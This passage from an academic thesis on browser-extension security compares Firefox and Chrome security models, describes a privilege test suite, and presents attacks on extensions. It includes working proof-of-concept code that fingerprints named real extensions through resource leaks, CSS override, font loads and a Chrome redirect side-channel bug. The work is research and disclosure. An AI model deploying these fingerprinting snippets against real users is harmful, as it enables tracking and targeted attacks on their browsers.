the sandbox was only available for the Windows operating system, similar mechanisms have been added
afterwards for Linux and OS X. The sandbox attempts to mitigate the effects of successful exploits against
renderer processes by greatly reducing the capabilities these processes have. Thus, a full exploit first has to
obtain code execution and then bypass the sandbox in order to inflict damage on the host system.

10Charlie Reis. Multi-process Architecture. Sept. 2008. URL: https://blog.chromium.org/2008/09/multi-
process-architecture.html.

https://blog.chromium.org/2008/09/multi-process-architecture.html
https://blog.chromium.org/2008/09/multi-process-architecture.html
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4.4. Security Model

As extensions cannot be directly controlled by browser vendors, good design has to be facilitated by a
sound security model. Badly designed extensions can directly lead to stability issues, and, more importantly,
vulnerabilities. Legacy extension systems focus on the separation of concerns to combat this problem. Themes,
not allowed to use privileged APIs, are an example of this. Modern extension systems often additionally
employ so-called mitigations. Rather than fully preventing vulnerabilities altogether, these mechanisms are
concerned with preventing their exploitation.

Based on the concepts of their underlying engines, both Mozilla Firefox and Google Chrome take steps
to ensure security of extensions. Apart from a few commonalities, like, for example, blocking navigation
to extension URLs from web content, the approaches are inherently different. This Section first intro-
duces the security model employed by Firefox (cf. Section 4.4.1) and then examines Chrome’s approach
(cf. Section 4.4.2).

4.4.1. Mozilla Firefox

Firefox features no unified security concept for extensions. Instead, each type has its own model, leading
to widespread diversity. The most restricted add-on types are limited to one functionality. Lightweight
themes, for example, are only capable of setting two images for the browser GUI. Another example are spell
check dictionaries which can only add new words to the browser. Both of these add-on types are therefore
potentially impossible to attack or use in an attack. However, other extension types are not as restricted and
enjoy more privileges.

URI Description Privileged?
chrome://*/content/* Contains GUI files (XUL, XBL, . . . ) Yes
chrome://*/skin/* Contains styling files (CSS, SVG, . . . ) Partly
chrome://*/locale/* Contains localization files (DTD, . . . ) Partly
resource://*/* Addresses additional resources No

Table 4.2.: Internal browser URIs sorted by their privileges

The privileges of extensions building on top of the legacy extension system strongly depend on the URLs
they can register. As explained in Section 4.1.1, the chrome.manifest can be used to declare content
types which, in turn, map to URLs. Table 4.2 shows that this ultimately determines the privileges of the
add-on. Thus, themes, which are not able to use content types other than skin, are only partly privileged
in the security model of the legacy extension system. For more information on the exact privileges of each
URI, refer to Section 5.3.1. In terms of Gecko’s security model, all content URLs run under system
principal privileges, whereas skin and locale cannot be fully specified using the principals from Mozilla’s
documentation.

While old add-on types such as legacy extensions, themes and locale packs are solely defined by the URLs
they can register, there are some additional protections and boundaries introduced in modern extensions:

• Add-on SDK extensions introduce multiple new concepts on top of the legacy extension system.
Content scripts, for instance, can be used to interact with websites through an Xray wrapper. Their
main advantage is the low-privilege context they run in, mitigating many of the severe consequences
of XCS attacks. Communication between the extension core and content scripts is mediated through
explicit APIs calls. A content script can only access the origin it was injected into, unless the
cross-domain-content permission in the extension’s package.json file has been set. In this

chrome://*/content/*
chrome://*/skin/*
chrome://*/locale/*
resource://*/*
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case, each domain listed in this setting can be connected to. Despite this setting, the Add-on SDK
generally does not feature a permission-based capability system. Not a single privileged API has to be
requested before it can be used. Regarding Gecko’s security model, content scripts can therefore be
represented as expanded principals and the extension’s core as a system principal.

• WebExtensions aspire to the level of security found in Chrome extensions. However, at the time
of this writing, the development is still at an early stage and many basic security mechanisms have
not been implemented, yet. For example, WebExtensions lack protection by CSP which is one of
the most important mitigations present in Chrome. Furthermore, web content can easily navigate to
moz-extension URIs without having to bypass any security checks. This allows adversaries to
start attacks (cf. Section 6.4) and trigger bugs in add-ons (cf. Section 6.2.2). Due to this unfinished state
which could change at any time, this thesis does not cover attacks on WebExtensions. However, a future
stable version of WebExtensions will most likely inherit Chrome’s security properties (cf. Section 4.4.2).

As described in Section 4.2.1, Mozilla will require reviews for all regular extensions in the near future.
In order to enforce this policy, Firefox will only accept add-ons if they were signed by the correct party.
Mozilla’s review process ensures a general quality threshold. Testing most notably includes scanning for
security vulnerabilities and rejecting extensions exhibiting them. Tools are used to assist the process and
enforce policies such as disallowing calls to eval11. At the end, reviews still rely on human analysts and,
thus, cannot be perfect. However, a beneficial effect for the security of extensions overall is indisputable.

4.4.2. Google Chrome

Potentially in response to earlier research, Chrome’s extension security model has tremendously improved
over time. A major change was introduced with Chrome version 18 which deprecated an old way of writing
extensions in favor of a new model. This change is marked by the increase of the manifest version number
form one to two. As of 2014, the Chrome browser completely ignores extensions with version number one,
making the new system mandatory12. The new version imposes two important restrictions on extensions:
First, a default CSP must be respected by developers and, second, extension resources are not web-accessible
by default anymore. However, even if every type of extension is required to use version two, there are slight
differences in the actual security model for them.

• Themes cannot modify the core layout of the browser at all. Apart from some colors, backgrounds and
tints, only very few visual properties can be changed. Furthermore, styling is not done in a potentially
powerful language like CSS, but has to be declared as JSON data structures inside the manifest file.
While extremely limiting for designers, these restrictions give strong guarantees for security indicators
and other important GUI elements of the browser.

1 script-src 'self'; object-src 'self'

Listing 4.4: Default CSP for version 2 Extensions

• Extensions are subject to a rigorous permission model. Every utilized API has to be formally requested
in the manifest file. Moreover, each host the extension wants to have access to must be stated
in the permission list, too. Users see descriptions of the requested capabilities during installation.

11Mozilla Wiki. Add-on Review Guide. Oct. 2015. URL: https://wiki.mozilla.org/Add-ons/Reviewers/Guide.
12Chrome Developers. Manifest Version. URL: https://developer.chrome.com/extensions/manifestVersion.

https://wiki.mozilla.org/Add-ons/Reviewers/Guide
https://developer.chrome.com/extensions/manifestVersion
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Furthermore, as previously explained, a default CSP is enforced on every extension13. The exact
rules are shown in Listing 4.4. Basically, extensions can only include external scripts from their own
package. This explicitly disallows any usage of inline scripts and eval-like statements in order to
mitigate most XCS attacks. A developer can relax the policy by allowing eval-like statements with the
unsafe-eval keyword in a value of its manifest file, whereas the inline scripting restriction cannot
be lifted. Additionally, external resources can be allowed but only with severe limitations. For example,
the HTTPS scheme can be whitelisted, but only with an accompanying host name. Unencrypted
schemes like HTTP are not allowed.

Figure 4.4.: Security boundaries in interactions between web content and extensions

There is a clear security boundary between extensions and web content. Extensions must use so-called
content scripts to interact with web sites. Instead of directly sharing the global execution environment
with web content, content scripts receive their own context and have to communicate via the DOM with
the web site. Furthermore, they cannot directly access the extension context either but have to resort
to APIs facilitating structured message passing. Figure 4.4 clarifies this complex relation between
extensions and web sites. The image is based on Kotowicz work on Chrome extensions [KO12].

1 default-src 'self';
2 connect-src * data: blob: filesystem:;
3 style-src 'self' data: chrome-extension-resource: 'unsafe-inline';
4 img-src 'self' data: chrome-extension-resource:;
5 frame-src 'self' data: chrome-extension-resource:;
6 font-src 'self' data: chrome-extension-resource:;
7 media-src * data: blob: filesystem:;

Listing 4.5: Default CSP for version 2 Apps

• Apps have access to privileged APIs such as raw sockets but they are mostly bound to the same
restrictions as Extensions: Permissions have to be declared upfront in a manifest file and a default
CSP is enforced. Listing 4.5 shows the imposed rules. However, in contrast to Extensions, it is not
possible to relax this default policy, prompting developers to resort to other mechanisms to be able
to use functions like eval. In particular, Chrome offers a mechanism called sandboxed pages which
are not restricted by a CSP. As the name suggests, these pages do not enjoy high privileges and thus
cannot inflict harm when hijacked. All communication with sandboxed pages is done through APIs
like postMessage, such that there is a clear security boundary.

With WebViews, Apps have an additional mechanism to embed untrusted content. In contrast to
iframe elements, the embedded code cannot determine that it has been framed. Thus, the webview
tag works similarly to an embedded browser window.

13Chrome Developers. Content Security Policy (CSP). URL: https://developer.chrome.com/extensions/
contentSecurityPolicy.

https://developer.chrome.com/extensions/contentSecurityPolicy
https://developer.chrome.com/extensions/contentSecurityPolicy
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In addition to these security measurements, every extension listed on the Chrome Web Store is required
to undergo a review. While the exact criteria of the review are not public, it is likely to check for obvious
security flaws. As all extensions on Windows and Mac OS X must be listed on the Chrome Web Store, this is
a further hindrance for an attacker.



5. Test Suite

In order to prove facts which are not documented by official resources, this thesis is accompanied by a
test suite. When executed, it will provide evidence in form of reproducible tests. Additionally, it verifies
the actuality of the described techniques and browser quirks: As future browser versions may fix bugs and
introduce architectural changes to the extension system, failing tests clearly mark the outdated parts. The
test suite can instrument both Firefox and Chrome to run a range of tests automatically. However, as not all
interactions can be easily automated, a few manual tests are available, too.

5.1. Architecture

The test suite is carefully designed to be extremely flexible and avoid any side effects in test cases. Avoiding
side effects is essential to the validity of the results, since even minor differences in comparison to a regular
page load can alter the outcome. For example, using iframes to embed the test in the runner page will
influence all child iframes of the test itself, since the permissibility of framing is decided by checking
the topmost frame. However, due to the limitations of web content, it is nearly impossible to achieve a
side-effect-free environment. Thus, the test runner resides in an extension. From this privileged context, it is
able to orchestrate all tests to run in newly created tabs. Still, this is not enough to guarantee the absence of
side-effects as browser settings may influence the outcome, too. Therefore, the test suite first creates a new
profile and then launches the selected browser.

Conceptually, browser-specific code in the test runner is avoided as far as possible. While tab management
is required for both Firefox and Chrome, it is isolated in an own class with a predefined interface. In order to
solve communication between tests and runner in a cross-browser fashion, the WebSocket protocol is used. It
allows efficient relay of results and is not restricted by the Same-Origin Policy. Thus, it can be used even by
tests in highly restricted origins, such as a file URIs.

Figure 5.1.: Simplified test suite communication flow

Figure 5.1 shows the communication flow of the test suite in a simplified manner. Boxes with double
borders mark components which are started as own processes, whereas the others reside in a browser context.
A solid line with an arrow indicates a component starting another one, whereas the dashed line represents
a WebSocket information flow. In summary, the flow of the test suite is as follows: When executed, the
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run.py script will start a web server and the selected browser. The web server is capable of WebSocket
communication, and is immediately connected to by the test runner, which itself is automatically opened in
the browser. After this initialization phase, the runner will sequentially start tests in their own tabs. Each test
will connect to the web server using the WebSocket protocol to relay the result back to the runner. When
receiving a result, the runner will give a visual indication of the outcome and start the next test. However, it
will only wait for two seconds until a test is marked as failed, since an error might have occurred.

All client-side code avoids hard coding values (like, for example, the URL of the web server) by reading
a JSON file holding global variables. This file is updated by the run.py script on each new start of the
test suite and can be reached by a relative URL from each tested scheme. If WebSocket communication
fails, the socket.io library provides a fallback for both the runner and the test cases by using the
XMLHttpRequest API.

Tests are tagged with a description of the expected behavior. When this expectation is met, the test will be
marked as passing and in any other case as failed. Altogether, there are four states a test can be in: It can be
queued, currently running, passing and failed.

5.2. Methodology

Tests can be generally divided into verification and privilege tests. The former is used to verify if concrete
examples of the thesis are still working as expected whereas the latter may point at quirky behavior: Privilege
tests exercise a potentially harmful action in various contexts. For example, framing a file URI is tested
in an extension context, in web content and in the file context itself. These tests do not directly uncover
vulnerabilities but determine the browser’s behavior in curious cases. If quirky behavior is found, it may be
one of the components required for an attack.

Creating a verification test is straightforward: Whenever an example is given in the thesis, an associated
test is created. Sometimes, however, the testing process is extremely hard to fully automate. For instance,
Chrome allows users to open non-web-accessible extension URLs by right clicking a link and selecting the
Open in a new tab option. This amount of user interaction is not simulated by the test suite as there is only
a marginal number of tests requiring it. Thus, these tests are marked as manual tests and require a user to
follow steps to verify the behavior. In contrast to verification tests, privilege tests cannot be directly taken
from examples in the thesis. Most of them are derived from working behavior in privileged contexts and then
subsequently tested in all relevant origins. For example, if an extension context is known to be able to frame
any file URL, this test is expanded to all other schemes. By executing the privilege test cases – even if they
are unlikely to succeed – quirky behavior and bugs can be found methodologically.

5.3. Results

As the test results are highly browser-specific, they will be described each in their own Section. Furthermore,
as the dedicated Chapters thoroughly explain the given examples, only the results of privilege tests will be
explained. Section 5.3.1 describes the test cases for Mozilla Firefox, whereas Section 5.3.2 deals with Google
Chrome.
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5.3.1. Firefox

web file A/content A/skin A/locale A/resource
Access privileged APIs X
Render HTML X X X X X X
Render XUL X
Execute scripts from XBL X
Frame A/content URIs X X X
Frame A/resource URIs X X
Frame file URIs X X X X
Fetch A/content URIs X X X
Fetch A/resource URIs X X
Fetch file URIs X
Include A/content URIs X X X X
Include A/resource URIs X X X X X X
Include file URIs X X X X
Embed moz-icon scheme X X X X X X

Table 5.1.: Firefox privilege testing results

All Firefox test cases were executed in both Firefox 43 and 44. As can be seen from the results in Table 5.1,
the chrome content context was used as a reference for all other contexts. It is the most privileged scope
available in Firefox and each resource addressable by a chrome://*/content/* URL is part of it.
Only regular extensions can register such URLs, which leaves themes and localization packages with the
lower privilege contexts skin and locale. Finally, the highly restricted resource scheme can only be
registered by regular extensions, too. The table uses a label/content type notation to represent URLs like
chrome://label/contenttype/* (e.g. A/content means chrome://A/content/*).

Findings

While rendering HTML might seem uninteresting on first glimpse, it is worth noting that a theme or
localization package can include such files. Since JavaScript can be easily used from an HTML document,
this privilege paves the way to many of the attacks found in Section 7.1 and directly contradicts Mozilla’s
documentation stating that skin packages cannot host scripts1. Another result worth pointing out is that
every chrome content type can frame anything in its origin. While, again, seemingly uninteresting, this allows
a theme to frame a chrome://NAME/content/* from a chrome://NAME/skin/* URL. File URIs
can be framed from these origins, too. Thus, while hard to achieve, it may be possible for themes to use
iframes and Clickjacking tricks to extract local files. The XMLHttpRequest API also only checks the
origin, which allows themes to extract information from many browser-internal pages. However, this is not
such a huge problem as it might seem since most information is loaded dynamically at run time and hence
cannot be easily extracted by using this API. As the resource scheme’s intended behavior is to be usable
from web content, it is not surprising to to see that all schemes can include it. This, however, allows for easy
fingerprinting attacks against extensions that use it, as explained in Section 6.1. A potential extraction of data
can be achieved by including file URIs. As can be seen from the Table, it cannot only be done by regular
extensions but also by localization packages and themes. Finally, Firefox features an internal scheme called

1MDN. Chrome registration. Dec. 2015. URL: https : / / developer . mozilla . org / en / docs / Chrome _
Registration.

chrome://*/content/*
chrome://label/content type/*
chrome://A/content/*
chrome://NAME/content/*
chrome://NAME/skin/*
https://developer.mozilla.org/en/docs/Chrome_Registration
https://developer.mozilla.org/en/docs/Chrome_Registration
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moz-icon. It points to platform-specific icons for actions and file extensions2 and is accessible even by
web content (e.g. moz-icon://stock/gtk-revert-to-saved). Thus, it poses yet another way to
fingerprint the Firefox browser itself.

5.3.2. Chrome

web file extension A
Include extension A URL X
Include extension B URL
Include accessible extension B URL X X X
Include file URL X
Iframe extension A URL X
Iframe extension B URL
Iframe file URL X
Open extension URL X X

Table 5.2.: Chrome privilege testing results

The Chrome test cases were tested in Chromium version 47.0.2526.106 on a Linux host system. Table 5.2
shows the results. In summary, there are far less test cases with a smaller amount of unexpected behavior.
This can be attributed to two circumstances:

1. In comparison to Firefox, the Chrome extension ecosystem features fewer contexts. For extensions,
there are only URIs of Extensions and URIs of Apps. Both use the chrome-extension scheme,
but behave quite differently. In particular, Apps cannot be loaded into newly created tabs and generally
resist testing in an automated way by requiring extra steps to be started and other things.

2. A lot of the interesting behavior Chrome shows requires some sort of user interaction. This behavior
cannot be easily found or tested by the test suite.

Findings

Table 5.2 shows the results of the Chrome privilege tests. All reults except from the last can be taken from the
official documentation and work as intended. However, file URIs seem to have special privileges in Chrome,
as they are allowed to open new windows with extension URLs. As web content lacks this capability, file
URIs can be considered to have slightly higher privileges.

The manual tests uncover far more unexpected behavior, as the following results show:

• Drag & Drop. All browsers implement a feature which allows users to drag text in to the browser’s
location bar to start navigation to this alleged URL. When used on hyperlink elements, the browser
uses the href attribute instead of the text. This mechanism is restricted by rules which, for example,
disallow file URIs. However, chrome-extensionURLs do not seem to be impacted by this security
measure when belonging to an Extension. Apps, on the other hand, cannot be easily navigated to as they
seem to have an additional security boundary which redirects to chrome-extension://invalid.
It should be noted that the restriction on file URIs can be bypassed by dragging from an element which
is not an hyperlink. An input field, for example, can contain a draggable file URI. App URLs,
however, are still protected.

2Nicholas Nethercote. moz-icon: a curious corner of Firefox. Nov. 2015. URL: https://blog.mozilla.org/
nnethercote/2015/11/05/moz-icon-a-curious-corner-of-firefox/.

moz-icon://stock/gtk-revert-to-saved
chrome-extension://invalid
https://blog.mozilla.org/nnethercote/2015/11/05/moz-icon-a-curious-corner-of-firefox/
https://blog.mozilla.org/nnethercote/2015/11/05/moz-icon-a-curious-corner-of-firefox/
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• Context Menu. When clicked, hyperlinks pointing to a chrome-extension URL only navigate
to a blank page (about:blank). However, if a user right clicks the link and selects Open in a new
tab or Open in a new window, the URL will be loaded regularly. Curiously, using hotkeys for these
actions (Ctrl+Click or Ctrl+Shift+Click) does not work. Again, App URIs seem to be protected by an
additional redirection. This trick does not work with file URIs either.

about:blank


6. Attacks on Extensions

Successful attacks on extensions can completely undermine the security of users. Depending on the browser,
being able to inject code in to a privileged context results in direct command execution on the host system
(cf. Section 7.1.1). Even if this is not possible, attacks can have far-reaching consequences: Tracking a user’s
movement in the web, disabling privacy-related add-ons and performing actions without prior consent can all
inflict severe damage. Thus, browsers employ mitigations against many of these attacks. This Chapter takes
a closer look at various bug classes and how an adversary may be able to exploit them. If mitigations are
present, potential bypasses are discussed along with case studies of real-world vulnerabilities found during
the writing of this thesis.

When targeting a concrete extension, often an attacker is forced to check for its presence first. Section 6.1
shows a multitude of techniques to fingerprint active add-ons from web content. Then, Section 6.2 explores
actual ways of injecting payloads into privileged contexts. Rarely found in extensions but nonetheless
powerful is an attack called SQL Injection, presented in Section 6.3. If none of the more powerful attacks
against extensions can be mounted, an adversary can resort to Clickjacking. Section 6.4 explains this attack
and how it can be applied to extensions. Finally, Section 6.5 demonstrates how attacks on the browser itself
can utilize the extension system to their advantage.

6.1. Fingerprinting

Fingerprinting is the process of identifying the active extensions of a victim. One way to use this information
is to discriminate users. For instance, a news agency might prevent access to articles if an advertisement
blocking extension has been detected. Furthermore, the list of extensions might be unique enough to track a
user’s movement in the web. This activity is commonly performed by web-based advertisement networks.
Finally, an adversary may use the information to launch a targeted attack on an installed extension.

In all previous examples a web attacker performs the fingerprinting, since this is the most realistic threat to
a user in this case. Unrestrained local attackers can simply list the extensions in the victim’s profile directory.
Naturally, if the weakest type of adversary can fingerprint extensions, others can, too. Hence, this Section
solely focuses on techniques usable by web attackers. Furthermore, some fingerprinting methods rely heavily
on the extension’s behavior (e.g. NoScript’s script blocking). As there are too many possibilities, this Section
will only cover general techniques usable against all or almost all extensions.

6.1.1. Resource Leaks

If an extension allows it implicit- or explicitly, web content is able to include or embed some of its resources.
In this case, the sheer existence of these files indicates the presence of their parent extension. There are
multiple techniques to detect these resources, many just being alternative ways of expressing the same code.
The following examples only present sufficiently varied techniques, starting with the most general one.
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1 # the contentaccessible flag can only be set for "content"
2 # in this case it makes chrome://alias/* web-accessible
3 content alias path/to/files contentaccessible=yes
4 # this includes locale and skin resources of the same alias
5 locale alias extname path/to/files
6 skin alias extname path/to/files
7 # resource URIs are web-accessible by default
8 resource alias path/to/files

Listing 6.1: Firefox chrome.manifest showing web-accessible URLs

In Firefox, there are two ways an extension resource may leak to web content: Either there is a resource
URI pointing to add-on files or there is a chrome content package with the contentaccessible flag
set. While both can be set in an extension’s manifest file as shown in Listing 6.1, some add-ons create these
URLs dynamically. Thus, finding web-accessible resources may require knowledge of the whole extension’s
source code. Add-on SDK extensions are a notable exception: Due to their bootstrap code, all of their files
can always be accessed by resource URIs.

1 {
2 // ...
3 "web_accessible_resources": [
4 "explicit.ext",
5 "images/*"
6 ],
7 // ...
8 }

Listing 6.2: Chrome manifest.json showing web-accessible resources

This is in stark contrast to Chrome. The only file, a Chrome extension can declare web-accessible resources
in, is its manifest file. For this purpose, the web_accessible_resources key has to be used as shown
in Listing 6.2. Its value is a JSON array whose elements are either a path to a file or a pattern matching
multiple files. Patterns can use wildcards (*), to indicate an arbitrary string to be matched at a position. In the
Listing, all files of the images directory and one explicitly named file are allowed to be included from web
content.

Event Handler

1 <script src="resource://firefox-at-ghostery-dot-com/data/images/ghosty-32px.png"
2 onload="isActive()" onerror="isNotActive()"></script>

Listing 6.3: Detect Ghostery Firefox extension by event handler

Listing 6.3 shows a way to detect resource leaks by using the onload event handler of the script tag.
Despite the used tag, this technique is not limited to detecting scripts, as the load handler will execute on the
sole condition that the file exists. Thus, the code is able to detect an image of the Ghostery extension in this
example. The extension itself is immensely popular (roughly 1,5 million users) and ironically dedicated to
giving “control to make informed decisions about the personal data you share with the trackers on the sites
you visit”1.

1addons.mozilla.org. Ghostery. URL: https://addons.mozilla.org/en-US/firefox/addon/ghostery/.

https://addons.mozilla.org/en-US/firefox/addon/ghostery/
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1 <script src="chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/img/icon24.png"
2 onload="isActive()" onerror="isNotActive()"></script>

Listing 6.4: Detect AdBlock Chrome extension by event handler

Listing 6.4 shows another example of the technique, this time targeting a Chrome extension. Similar to
Ghostery, AdBlock is susceptible to a fingerprinting attack because it declares an image as web-accessible.
Again, the extension is extremely popular (over 10 million users2), showing just how wide-spread the use of
web-accessible resources is.

Although hard to attribute to a specific person, this technique is well-known and has been used by various
researchers in the past.

CSS Override

While the Event Handler fingerprinting method can be applied to all types of web-accessible resources, it
requires script execution. However, security-minded users may use extensions such as the NoScript Security
Suite3 in order to selectively allow the use of JavaScript on websites. If an adversary still requires knowledge
of the user’s extensions, a technique that does not require any scripts has to be used.

Initially found by Kouzemtchenko4, the technique abuses a browser’s CSS overriding behavior. In
particular, three properties aid this fingerprinting attack: Firstly, resources included from style sheets are
loaded relatively to the URL of the CSS file itself. Secondly, when two style rules have the exact same
precedence (e.g. same selector), the last one is applied. Lastly, browsers do not immediately load background
images but wait until the element requiring them is encountered in the markup.

If an extension offers a style sheet on a web-accessible location with a rule setting a background image,
an attack can be constructed as follows: On a website, the adversary copies the selector to load an image
from the attacker-controlled server. Then, the extension’s style sheet has to be included, in order to trigger the
overriding behavior. If the extension is active, its rule will override the website’s rule and load the background
image from an internal URL. However, if it is not active, the adversary’s rule will not be overridden and a
request for the image will reach the web server. Thus, an adversary knows whether the extension is active
or not by observing the incoming HTTP requests. Note that this technique is not necessarily limited to
background images but they serve as a prime example for resources which are loaded as needed (property
number three).

2Chrome Web Store. AdBlock. URL: https : / / chrome . google . com / webstore / detail / adblock /
gighmmpiobklfepjocnamgkkbiglidom.

3addons.mozilla.org. NoScript Security Suite. URL: https://addons.mozilla.org/en-US/firefox/addon/
noscript/.

4Alex Kouzemtchenko. Detecting Firefox Extensions Without Javascript. Oct. 2007. URL: http://kuza55.blogspot.co.
uk/2007/10/detecting-firefox-extension-without.html.

https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom
https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom
https://addons.mozilla.org/en-US/firefox/addon/noscript/
https://addons.mozilla.org/en-US/firefox/addon/noscript/
http://kuza55.blogspot.co.uk/2007/10/detecting-firefox-extension-without.html
http://kuza55.blogspot.co.uk/2007/10/detecting-firefox-extension-without.html
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1 /* ... */
2 #toolbar {
3 background-image:

url(chrome://easyscreenshot/s c
kin/image/toolbar-bg.png);

↪→

↪→

4 /* ... */
5 }
6 /* ... */

Listing 6.5: editor.css of Easy Screenshot

1 <style>
2 #toolbar {
3 background-image: url('inactive');
4 }
5 </style>
6 <link rel="stylesheet"

href="chrome://easyscreenshot/s c
kin/editor.css">

↪→

↪→

7 <div id="toolbar"></div>

Listing 6.6: Detect Easy Screenshot via override

The following paragraph describes an exemplary fingerprinting attack against the Easy Screenshot Firefox
extension5. It can be performed even in the presence of the NoScript Security Suite, hence achieving the
initial goal to attack security-minded users. Listing 6.5 shows the relevant selector of one of its web-
accessible CSS files. In Listing 6.6, this selector is used to load an image from the web server and then
subsequently overridden by the extension’s style sheet if available. If the adversary cannot observe an request
for inactive, the extension must be active.

CSS Font Load

Although the CSS Override technique does not require any client-side scripting, it requires a fair amount
of server-side code if performed for multiple users. This is because it uses negative detection so that the
presence of an extension must be inferred from the absence of an request. Positive detection, on the other
hand, immediately notifies the adversary of active extensions and is therefore more desirable.

A technique achieving this abuses custom fonts which can be declared in CSS. Similar to background
images, custom fonts are only loaded if actual text requiring them is encountered. Thus, if an extension’s
style sheet adds content to a DOM element, a custom font applied to it can be used to send a request back to
the web server. Otherwise, if the extension does not exist, the text is not added to the DOM and the request
will not be sent. The only prerequisite therefore is a web-accessible style sheet which adds content to any
element of the DOM.

However, while this technique might seem to be superior to the CSS Override attack, it is in fact not for two
reasons. Firstly, adding content to DOM elements seems to be slightly less frequent than setting background
images and secondly, strong security extensions such as the NoScript Security Suite block custom fonts
alongside with scripts. The following example, however, shows that the attack can be effectively used against
Chrome extensions, as none of its script-blocking extensions accounts for custom fonts.

1 /* ... */
2 input[type="checkbox"]:checked:before {
3 /* ... */
4 content: '\2713';
5 /* ... */
6 }

Listing 6.7: override-page.css of AdBlock

5addons.mozilla.org. Easy Screenshot. URL: https : / / addons . mozilla . org / En - us / firefox / addon /
easyscreenshot/.

https://addons.mozilla.org/En-us/firefox/addon/easyscreenshot/
https://addons.mozilla.org/En-us/firefox/addon/easyscreenshot/
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1 <style>
2 @import url('chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/jquery/css/over c

ride-page.css');↪→

3 @font-face {
4 font-family: AdBlockActive;
5 src: url(adblock_active);
6 }
7 input[type="checkbox"]:checked:before {
8 font-family:AdBlockActive;
9 }

10 </style>
11 <input type="checkbox" checked>

Listing 6.8: Detect AdBlock via font load

The fingerprinting attack shown in Listing 6.8 is, again, targeted at the AdBlock Chrome extension.
Specifically, it abuses a CSS file adding content to a checkbox, as shown in Listing 6.8. In order to receive a
request when the content is added, and, thus, the extension is active, the adversary only has to declare the
custom font to be used for the checkbox. This attack manages to bypass all tested Chrome script-blocking
extensions, like, for example, ScriptSafe6.

6.1.2. Side Channels

The presence of extensions, although not voluntarily exposed by browsers, can be revealed by side channels.
While a complete description of side channels is beyond the scope of this thesis, the following definition
suffices to explain the attacks found in this Section: Any trait usable from websites to tell active and inactive
extensions apart is a side channel. This most notably includes timing and errors, which may occur when
accessing extensions. Using these side channels, an adversary can fingerprint extensions even if they do not
have any web-accessible resources.

Most side channel fingerprinting attacks are based on browser bugs and, thus, have a limited lifespan.
However, in order to give an real-world example, the next paragraphs will examine an error-based side
channel found in recent versions of Chrome (47).

Error-Based

Figure 6.1.: Error-based fingerprinting attack on Chrome extensions

6Chrome Web Store. ScriptSafe. URL: https://chrome.google.com/webstore/detail/scriptsafe/
oiigbmnaadbkfbmpbfijlflahbdbdgdf.

https://chrome.google.com/webstore/detail/scriptsafe/oiigbmnaadbkfbmpbfijlflahbdbdgdf
https://chrome.google.com/webstore/detail/scriptsafe/oiigbmnaadbkfbmpbfijlflahbdbdgdf
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A bug found in Chrome allows adversaries to fingerprint extensions using an error-based side channel7. The
general attack procedure is depicted in Figure 6.1 and works as follows:

1. The main file of the attack opens a new window with a valid extension URI.

2. As browsers allow the opener to navigate an opened window to arbitrary URLs, the main attack file
can redirect back to any file on its own origin. The content of this file is insignificant, as long as the
main attack file should be able to access it by the rules of the Same-Origin Policy.

3. Finally, the main attack file attempts to access the DOM of same-origin file. At this moment, the bug in
Chrome is triggered: If the extension is active, the access is denied and in any other case it is allowed
(as it should).

Visiting an active extension seems to taint the browser window so that not even same-origin access is
allowed. This denied access manifests itself in an error that is thrown when attempting to access the DOM.
Thus, the adversary’s code can simply catch this error to learn about the presence of an extension.

1 <script>
2 var REDIRECTOR = 'https://url.to/http302/redirection/script?url=';
3 function checkForExtension(id) {
4 var ext_url = 'chrome-extension://' + id + '/manifest.json';
5 var handle = window.open(REDIRECTOR + encodeURIComponent(ext_url));
6 setTimeout(function() {
7 handle.location = 'blank.html';
8 setTimeout(function() {
9 try {

10 // this will throw an error in the case the extension exists
11 handle.document;
12 console.debug(id + ' is not active.');
13 } catch (error) {
14 console.debug(id + ' is active!');
15 }
16 }, 1000);
17 }, 1000);
18 }
19 </script>
20 <button onclick="checkForExtension('gcbommkclmclpchllfjekcdonpmejbdp');">Check

for HTTPS Everywhere (watch your console)</button>↪→

21 <button onclick="checkForExtension('somethingveryunlikelytobeintheid');">Check
for non-existing extension (watch your console)</button>↪→

Listing 6.9: Fingerprinting attack relying on an error-based side channel

Listing 6.9 is an implementation of this attack. It uses an additional bug to open an extension URL in a new
window: Although any navigation from web content to extensions should not be possible, Chrome allows an
HTTP 302 redirect to extension URLs. Using this trick, the manifest file of an extension is opened in a new
window. While the manifest file is used because it is guaranteed to be available in all Chrome extensions, any
other valid file of the extension can be used for this initial step. Then, the newly opened window is navigated
to a same-origin file. Finally, access to the window’s document object is attempted.

7Nicolas Golubovic. Security: HTTP 302 can navigate to non-web-accessible chrome-extension:// URIs. Feb. 2016. URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=589237.

https://bugs.chromium.org/p/chromium/issues/detail?id=589237
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6.2. Cross-Context Scripting

Extensions, just like web content, are often prone to XSS vulnerabilities. As this allows code execution in
privileged contexts, the attack is called Cross-Context Scripting (XCS). The most prevalent type of XSS found
in extensions is DOM-based XSS. Interactions with unsafe DOM APIs and eval flaws can be exploited
with similar techniques as websites can. The impact, however, can be much more severe: As most extensions
have access to a set of privileged APIs, payloads can often access stored passwords and, depending on the
browser, even the underlying host system. At the very least, most vulnerabilities can be exploited to allow
access to a wide range of websites, similar to Universal Cross-Site Scripting (UXSS) flaws.

However, as many extensions implement features which do not necessarily interact with websites, a large
amount of vulnerabilities can only be exploited by the victim itself. These self-XSS bugs can be found in
note-taking, to-do and utility extensions. Thus, not every flaw necessarily leads to code execution for a web
attacker and each has to be evaluated individually for impact.

As the exploitability of XCS vulnerabilities is a highly browser-specific topic, this Section is separated in
two parts. Furthermore, actual payloads are explained more thoroughly in the Chapter about attacks from
extensions (cf. Chapter 7), so that this Section can focus on the means to deliver them.

6.2.1. XCS in Mozilla Firefox

As Firefox features multiple different types of extensions and each of them uses different contexts, determining
the impact of a vulnerability can be a complex task. In general, for legacy and restartless add-ons the defining
factor for a vulnerability is its URL. While this fact does not change for Add-on SDK extensions, there are
multiple components which do not have an URL, like, for example, content scripts. Therefore, this Section
first attempts to give an overview of the different URI contexts an injection might target and then deals with
the unaddressable scopes. As WebExtensions are still in development they will not be covered.

High Privilege Contexts

Privileged contexts have direct access to all internal browser APIs and, thus, can execute all payloads
described in Section 7.1.1. For this reason, vulnerabilities found in these scopes are extremely valuable
for adversaries. Most notably, all URLs found under chrome://*/content/* are part of this context.
